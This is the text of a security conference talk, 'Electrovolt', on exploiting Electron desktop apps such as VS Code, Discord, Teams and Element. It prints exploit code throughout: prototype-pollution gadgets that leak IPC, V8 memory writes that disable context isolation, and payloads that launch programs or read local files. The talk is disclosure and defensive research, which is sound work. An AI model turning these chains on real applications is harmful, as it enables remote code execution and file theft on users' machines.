Electrovolt

Pwning popular desktop apps while uncovering new Attack Surface on Electron

Aaditya Purani, Mohan Sri Rama Krishna, Max Garrett, William Bowling
Who are we

Aaditya Purani (aka knapstack)
- Senior Security Engineer @ REDACTED
- AppSec and Blockchain
- CTFs with perfect blue 📈

Max Garrett. (aka thegrandpew)
- Security Researcher @ Assetnote
- AppSec and Blockchain
- CTFs with Water Paddler

@aaditya_purani
@thegrandpew
Who are we

Mohan Sri Rama Krishna (aka S1r1u5_)  
- Security Auditor @ Cure53

William Bowling (aka vakzz)  
- Sr. Software Developer @ Biteable

@ S1r1u5   
@ vakzz
What is Electron?

• Popular Cross-Platform Desktop Application Framework

• Chromium + Node JS = Electron

• Used by VSCode, Teams, Discord, Slack and 500+ more Applications
**Main Process:** Menu, Tray, Node, ipcMain, creates Renderer Process using *BrowserWindow*

**Renderer Process:** DOM API, Node.js API, ipcRenderer
// Main Process (main.js)

const { ipcMain, shell, BrowserWindow } = require('electron')

var win = new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    preload: './preload.js'
  },
  contextIsolation: true
})

win.loadURL('https://google.com')

ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})

// Renderer Process (preload.js)

const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld('electron', {
  openUrl: (url) => ipcRenderer.send('openUrl', url)
})

// webpage

<!-- https://google.com -->
<b>Hello, world</b>

<script>
// No Electron Modules(ipc) here
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
</script>
Sandboxed Renderer:
(new BrowserWindow({
  webPreferences: {
    sandbox: true,
    nodeIntegration: true,
    contextIsolation: false
  }
})).loadURL('//example.com')

Non-Sandboxed Renderer:
(new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    contextIsolation: false
  }
})).loadURL('//example.com')
Electron App with Node Integration Enabled & Context Isolation Enabled
Terminologies

• Node Integration => NI

• Context Isolation => CI

• Node Integration in Workers => NIW

• Node Integration in Subframes => NISF (Exposes preload)

• Sandbox => SBX
NI: true, CISO: false, SBX: false

- Easy to get a shell as node is exposed to the renderer
- Find a way to embed your JavaScript

Non-Sandboxed Renderer:
(new BrowserWindow({webPreferences:{ sandbox: 0, nodeIntegration: 1, contextIsolation: 0 } })).loadURL('//example.com')
Electron App with Node Integration Enabled & Context Isolation Disabled
Case Study 1: VS Code RCE bypassing Restricted Mode (CVE-2021-43908)

- Bypasses “Trust Codebase” checkbox, allowing RCE to work even if you open untrusted codebases.

- Limited markdown XSS -> RCE chain

Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908
Case Study 1: VS Code RCE Flow

1. Strict CSP
   - `<meta>` redirect leak ext id of vs-code-webview

2. PostMessage XSS to vscode-webview after iframing
   - attacker.com/pwn.php

3. Channel: content arg: XSS payload

4. Channel: do read user directory location

5. Redirection to local attacker controlled file
   - test.html

6. top.require('child_process')

7. NodeIntegration: true
I want More!
If CISO is enabled, node is not directly available in renderer.

Two ways to exploit
- Can use Render Exploit because no sandbox
- Disable Context Isolation somehow (more about this in coming slides)
Electron App with Node Integration Enabled & Context Isolation Enabled
1. Was using Electron/12.14.1, Chrome/83.0.4103.122

2. XSS in one of the video embeds but Iframes are sandboxed in electron.

3. Abused Electron new-window handler mis-config in Discord to open https://example.com/exp.html in new Electron Window which has no-sandbox enabled

4. Run chrome v8 renderer exploit (CVE-2021-21220) to get RCE
Woo, That’s fun. I want even more
Sandbox is enabled on renderers (seccomp, win32k lockdown)

No node modules exposed in renderer

No Isolation between website you load and preload/Electron internal code
Electron App with Node Integration disabled & Context Isolation disabled
How to get shell?

Electron <10

• Use prototype pollution gadget to leak remote/IPC module.
• Use Remote Module which gives node access.

Electron 10<version<14

• Use prototype pollution gadget to leak remote/IPC module.
• If Remote Module Explicitly Enabled
• IPC Misconfiguration
How to get shell?

Electron >14

- Use prototype pollution gadget to leak IPC module.
- Remote is deprecated
- Only IPC Misconfigurations on the main process
Prototype Pollution

```javascript
const origEndsWith = String.prototype.endsWith;
//overwriting String prototype to leak electron internal require module
String.prototype.endsWith = function(...args) {
    if (args && args[0] === "/electron") {
        String.prototype.endsWith = origEndsWith;
        return true;
    }
    return origEndsWith.apply(this, args);
};

const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
    if (args[3] && args[3].name === "__webpack_require__") {
        const window.__webpack_require__ = args[3];
        Function.prototype.call = origCallMethod;
    }
    return origCallMethod.apply(this, args);
};
```
Prototype Pollution

sandbox: false, nodeIntegration: false, contextIsolation: false

```javascript
__webpack_require__[3]('./lib/common/api/shell.ts').default.openExternal('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
```

```javascript
__webpack_require__("module").__load("child_process").execFile("/System/Applications/Calculator.app/Contents/MacOS/Calculator")
```

sandbox: true, nodeIntegration: false, contextIsolation: false

```javascript
ipc = __webpack_require__[3]('./lib/renderer/ipc-renderer-internal.ts').ipcRendererInternal;
```

```javascript
a = __webpack_require__[3]('./node_modules/process/browser.js')._linkedBinding('electron_renderer_ipc')
```

⚠️ Leaks IPC Renderer Internal (i.e., ELECTRON_*, GUEST_*, etc. channels) and IPC Renderer (developer defined channels)
Case Study 3: Local file read in MS Teams

1. Using Electron <15

2. XSS in Renderer using 0day in CKEditor (CVE-2021-44165)

3. On new windows - CISO is disabled, and Sandbox is Enabled.
4. Used prototype pollution gadget to leak IPC using XSS.

5. Send an IPC to browser process which reads given file in file path. (CVE-2021-39184)

```javascript
await ipc.invoke('ELECTRON_NATIVE_IMAGE_CREATE_THUMBNAIL_FROM_PATH', '/Users/electro/Documents/research/filename.ext', { height: 10, width: 10 })
```
click me and paste in teams desktop app
NI: false, CISO: false, SBX: true

• Used by most of the applications

• No node modules exposed in renderer

• IPC cannot be leaked via prototype pollution as CI is enabled

• Sandboxed
So, is it just like a XSS in browser?
> Nope!
Enabling Node Integration in SubFrames from compromised Renderer (CVE-2022-29247)
What is nodeIntegrationInSubFrames

• **nodeIntegrationInSubFrames** – Experimental option for enabling Node.js or preload support in sub-frames such as iframes and child windows.

For every sub-frames:

• If NI is **enabled** and sandbox is **disabled**, then Node.js will be available.

• If NI is **disabled** and sandbox is **disabled/enabled**, then all your preloads will load.
nodeIntegrationInSubFrames: false

Renderer Process

preload.js (Isolated World/context)

```
const { contextBridge, ipcRenderer } = require('electron')
contextBridge.exposeInMainWorld('electron', {
  openUrl: (url) => ipcRenderer.send('openUrl',url)
})
```

Main Process

```
// Main Process (main.js)

const { ipcMain, shell } = require('electron')
ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})

var win = new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    nodeIntegrationInSubFrames: false,
    preload: './preload.js'
  }
})

win.loadURL('//google.com')

ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})
```

Renderer Process (//google.com), Main window

```
<html><iframe src='//pwn.af'></iframe></html><script>
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')</script>
```

Iframe in Main Window (//pwn.af) – Error Thrown

```
<script>
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
</script>
```
nodeIntegrationInSubFrames: true

Renderer Process

preload.js (Isolated World/context)

```
const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld('electron',

{ openUrl: (url) => ipcRenderer.send('openUrl', url) }
)
```

Renderer Process (//google.com), Main window

```
<html><iframe src='//pwn.af'></iframe></html></script>
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')</script>
```

Iframe in Main Window (//pwn.af) – Works

```
<script>
window.electron.openUrl('file:///System/Applications/Calculator.app/Contents/MacOS/Calculator')
</script>
```

Main Process

```
// Main Process (main.js)

const { ipcMain, shell } = require('electron')

ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})

var win = new BrowserWindow({
  webPreferences: {
    sandbox: false,
    nodeIntegration: true,
    nodeIntegrationInSubFrames: true,
    preload: './preload.js'
  },
  contextIsolation: true
})

win.loadURL('//google.com')

ipcMain.on('openUrl', (event, url) => {
  shell.openExternal(url);
})
```
nodeIntegrationInSubFrames: false

• Most of the time we get XSS in the subframe or iframes

• And nodeIntegrationInSubFrames is mostly disabled

• No access to contextBridge exposed APIs 😞
Implementation of Node Integration in SubFrames

Electron patches blink WebPreferences and adds settings like node_integration_sub_frames, context_isolation, etc.
If node_integration_in_sub_frames on WebPreferences is true, then expose preload contextBridge API.
Enabling NISF using renderer exploit

• An astute reader will notice that the check is on the renderer process.

• Use renderer exploit 😈 and we can set node_integration_in_sub_frames to 1 😈

Reference:
https://github.com/electron/electron/blob/bd10b19b0cdc46c6badb570af89305e64541b679/shell/renderer/electron_sandboxed_renderer_client.cc#L217
Enabling NISF using renderer exploit

```javascript
var win = addrof(window);
console.log("[+] window addrof : " + win.hex());

var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());

var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2: " + addr2.hex());

var web_pref = addr2 + 0x50008n; // WebPreferences offset
console.log("[+] WebPreferences addr: " + web_pref.hex());

var nisf = web_pref + 0x1acn; // node_integrations_in_subframes offset
var nisf_val = full_read(nisf);
console.log("[+] nisf_val = " + nisf_val.hex());

var overwrite = nisf_val | 0x00000000000000001n // set to 1 from 0
full_write(nisf, overwrite);

var nisf_val = full_read(nisf);
console.log("[+] nisf_val overwritten = " + nisf_val.hex());
```
Case Study 4: Element RCE (CVE-2022-23597)

- Using Chrome/91.0.4472.164, Electron/13.5.1.

- XSS on embed via deep link mis-config.

- No contextBridge API on embed.

- Run Chrome Renderer v8 Exploit to expose contextBridge API on embed.
Case Study 4: Element RCE (CVE-2022-23597)

```javascript
// Renderer Process
// nodeIntegrationInSubFrames: false, SBX: true, NI: false, CIS0: true

// In main process.
const { ipcMain, shell } = require('electron')

ipcMain.on('userDownloadOpen', function(evt, { path })
{
    shell.openPath(path);
})
```

```javascript
// prelude.js (Isolated World/context)
const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld("electron",{
    send(channel: string, ...args: any[]): void {
        if (!CHANNELS.includes(channel)) {
            console.error(`Unknown IPC channel ${channel} ignored`); return;
        }
        ipcRenderer.send(channel, ...args);
    }

```
Our XSS (No API access)

Stage-1: v8 Exploit
Stage-2: Create Iframe To access send our XSS in iframe 🤡

Goal: Pass file://Calc.app
Case Study 4: Element RCE (CVE-2022-23597)

```javascript
var win = addrof(window);
console.log("[+] window addrof : " + win.hex());
var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());
var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2 : " + addr2.hex());
var web_pref = addr2 + 0x50008n; // WebPreferences offset
console.log("[+] web_pref addr: " + web_pref.hex());
var nisf = web_pref + 0x1acn; // node_integrations_in_subframes offset
var nisf_val = full_read(nisf);
console.log("[+] nisf val = " + nisf_val.hex());
var overwrite = nisf_val | 0x0000000000000001n // set to 1 from 0
full_write(nisf, overwrite);
var nisf_val = full_read(nisf);
console.log("[+] nisf_val overwritten = " + nisf_val.hex());

// create iframe with srcdoc which has contextBridge API
frame = document.createElement("iframe")
frame.srcdoc="<script>electron.send('userDownloadOpen',
{path:'/System/Applications/Calculator.app/Contents/MacOS/Calculator'})</script>"
document.body.appendChild(frame)
```
MORE!!!
Disabling Context Isolation from compromised Renderer
Implementation of Context Isolation

Electron patches blink WebPreferences and adds settings like node_integration_sub_frames, context_isolation, etc.
Implementation of Context Isolation

If `context_isolation` on WebPreferences is true, create isolated context.

```c++
/*
/shell/renderer/electron_render_frame_observer.cc */
*/
void ElectronRenderFrameObserver::DidInstallConditionalFeatures(
  v8::Handle<v8::Context> context,
  int world_id) {

  // removed for brevity

  auto prefs = render_frame_->GetBlinkPreferences();
  bool use_context_isolation = prefs.context_isolation;
  bool is_main_world = IsMainWorld(world_id);
  bool is_main_frame = render_frame_->IsMainFrame();
  bool allow_node_in_sub_frames = prefs.node_integration_in_sub_frames;

  bool should_create_isolated_context =
      use_context_isolation && is_main_world &&
      (is_main_frame || allow_node_in_sub_frames);

  if (should_create_isolated_context) {
    createIsolatedWorldContext();
    if (!render_client_->IsWebViewFrame(context, render_frame_))
      render_client_->SetupMainWorldOverrides(context, render_frame_);
  }
```

1. If context_isolation on WebPreferences is true, create isolated context.
2. bool should_create_isolated_context = use_context_isolation && is_main_world && (is_main_frame || allow_node_in_sub_frames);
3. if (should_create_isolated_context) {
   createIsolatedWorldContext();
   if (!render_client_->IsWebViewFrame(context, render_frame_))
     render_client_->SetupMainWorldOverrides(context, render_frame_); ```
Disabling CISO using Renderer exploit

• Same story using chrome v8 renderer exploit and we can set context_isolation to 0 😈

Reference:
https://github.com/electron/electron/blob/35ac7fb8e61be744206918684a6881d460591620/shell/renderer/electron_render_frame_observer.cc#L133
Disabling CISO using Renderer exploit

```javascript
var win = addrof(window);
console.log("[+] win address : " + win.hex());
var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());
var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2: " + addr2.hex());

var web_pref = addr2 + 0x50008n;
console.log("[+] web_pref addr: " + web_pref.hex());

var ciso = web_pref + 0x184n //CISO offset

var ciso_val = full_read(ciso);
console.log("[+] ciso_val = " + ciso_val.hex());

var overwrite = ciso_val & (0xfffffffffffffff00n); //overwrite to 0
full_write(ciso, overwrite);
console.log("[+] ciso_val overwritten = " + ciso_val.hex());
```
Case Study 5: RCE in Undisclosed app

- Using Chrome/94.0.4606.71, Electron/15.1.2.
- A “feature” to embed untrusted content in iframe

```javascript
// Renderer Process
// nodeIntegrationInSubFrames: false, SBX: true, NI: false, CISO: true

// preload.js (Isolated World/context)
const { contextBridge, ipcRenderer } = require('electron')

const openExternalUrl = url => {
  if (!isAllowedUrl(url)) return;

  // sanitation only https://
  ipcRenderer.send('open-external', url);
};
contextBridge.exposeInMainWorld('electron', {
  openExternalUrl: url => {
    openExternalUrl(url);
  },
});
```

```javascript
// Main Process (main.js)
// In main process.

const { ipcMain, shell } = require('electron')

ipcMain.on('open-external', (event, url) => {
  shell.openExternal(url);
});
```
Our XSS (No API access)  

window.electron.openExternalUrl  

openExternalUrl (only allows https proto)  

userDownloadOpen (RCE sink!)  

Goal: Pass file://Calc.app

Our XSS (Access to openExternalUrl API)  

window.electron.openExternalUrl  

openExternalUrl (only allows https proto)  

userDownloadOpen (RCE sink!)
Stage 1 V8 Exploit

Redirect

Stage 2 PP Exploit

Leak IPC

CI 1 to 0

Main window Website

Preload.js

Main.js

window.electron.openExternalUrl

openExternalUrl (only allows https proto)

userDownloadOpen (RCE sink!)

Goal: Pass file://Calc.app
Case Study 5: RCE in Undisclosed app

index.html

```javascript
// index.html
var win = addrof(window);
console.log("[+] window addrof : " + win.hex());
var addr1 = half_read(win + 0x18n);
console.log("[+] window : " + addr1.hex());
var addr2 = full_read(addr1 + 0xf8n);
console.log("[+] add2: " + addr2.hex());
var web_pref = addr2 + 0x50008n;
console.log("[+] web_pref addr: " + web_pref.hex());
var ciso = web_pref + 0x184n // ciso offset
var ciso_val = full_read(ciso);
console.log("[+] ciso val = " + ciso_val.hex());
var overwrite = ciso_val & (0xffffffffffffff00n); // overwrite to 0
full_write(ciso, overwrite);
console.log("[+] ciso val overwritten = " +
ciso_val.hex());

location = '/leak.html'
```

leak.html

```html
<!-- leak.html prototype pollution gadget to leak ipc -->
<html><b>In leak, popping calc</b></html>
<script>
const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
  if (args[0] === "/electron") {
    return true;
  }
  return origEndsWith.apply(this, args);
};

const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args[3] & args[3].name === "__webpack_require__") {
    const __webpack_require__ = args[3];
    window.pwn = args;
    var ipc = pwn[3]('./lib/renderer/api/ipc-renderer.ts').default;
    ipc.send('open_external', 'file:///system/applications/Calculator.app')
  }
  return origCallMethod.apply(this, args);
};
</script></html>
```

Prototype pollution to leak IPC
Mostly 0x82c0000 should work!!!
checking if heap address $4480000 is valid:
Same Site Origin Spoofing
**Electron Application**

<table>
<thead>
<tr>
<th>Process 1: <a href="https://main.example.com">https://main.example.com</a></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Embeds:</strong></td>
</tr>
<tr>
<td>1. <a href="https://youtube.com">https://youtube.com</a></td>
</tr>
<tr>
<td>2. <a href="https://sandbox.example.com">https://sandbox.example.com</a></td>
</tr>
</tbody>
</table>

**Same-Site Origin Spoofing**
Electron Application

Process 1: https://main.example.com

Embeds:
1. https://youtube.com
2. https://sandbox.example.com

Window:
https://sandbox.example.com

document._url_ = main.example.com

security_context_.security_origin_.port = 443

Process 2: https://youtube.com

Same-Site Origin Spoofing
Patch Gap

• There is a **noticeable** patch gap between chrome <-> Electron <-> Electron Apps which makes most of them susceptible to these attacks.

• Sandbox Escapes from Chromium can also be used.
Mitigations
• In total we were able to achieve RCE on 20 different Electron applications

• Examples: JupyterLab, Mattermost, Rocket.Chat, Notion, Basecamp and the ones covered within this talk are few of them
Takeaways

• Dig deeper into the framework you’re auditing and don’t limit yourself to only the application layer.

• Electron apps are an ideal adversarial (or red team) target as users will click anywhere or open messages.

• Minimize attack surface on the apps as much as possible. (Open URL redirect can also be turned into RCE some day)
THANK YOU!

Want to understand in detail about our findings and secure your Electron apps?

https://electrovolt.io

@ElectrovoltSec